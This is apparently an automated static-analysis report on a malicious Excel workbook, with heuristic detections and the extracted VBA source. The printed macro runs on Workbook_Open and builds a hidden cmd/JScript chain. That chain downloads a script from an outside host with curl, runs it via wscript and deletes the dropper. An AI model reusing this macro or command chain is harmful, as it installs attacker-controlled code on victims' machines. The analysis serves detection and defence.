Malicious Office (OOXML) / .XLSX — malware analysis report

Static analysis result for SHA-256 8a5c7e917e886b78…

MALICIOUS

Office (OOXML) / .XLSX

237.6 KB Created: 2026-06-15 11:30:13 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2026-06-27
MD5: 56254e46dee26780896b0953a95de6af SHA-1: 2a82f93f402d20a7612e61f978d04c193a6420e9 SHA-256: 8a5c7e917e886b7859840b277c9e899427d77f8bedebbb7b2a913b9da75229d0
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
            Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://canta-cn.com/output_ojmtqo8b.js In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://www.gimp.org/xmp/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2417 bytes
SHA-256: 557506c13165c0c5570320e06656e663185765600ea37d4a19c4c0efc7fb0844
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

        Function PBaKXNQyDb(str)
            Dim i, result, hex
            result = ""
    
            i = 1
            Do While i <= Len(str)
                If Mid(str, i, 1) = "%" Then
                    hex = Mid(str, i + 1, 2)
                    result = result & Chr(CLng("&H" & hex))
                    i = i + 3
                ElseIf Mid(str, i, 1) = "+" Then
                    result = result & " "
                    i = i + 1
                Else
                    result = result & Mid(str, i, 1)
                    i = i + 1
                End If
            Loop

            PBaKXNQyDb = result
        End Function

        Sub Workbook_Open()
            decoded = PBaKXNQyDb("https%3A%2F%2Fcanta-cn.com%2Foutput_ojmtqo8b.js")

            cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"

            Set objShell = CreateObject("WScript.Shell")
            objShell.Run cmd, 0, False
        End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24576 bytes
SHA-256: c6da9c67eb11562db98d2c24a5e4dddbdb25d4f7510a304bf1fe9ceaca791b2d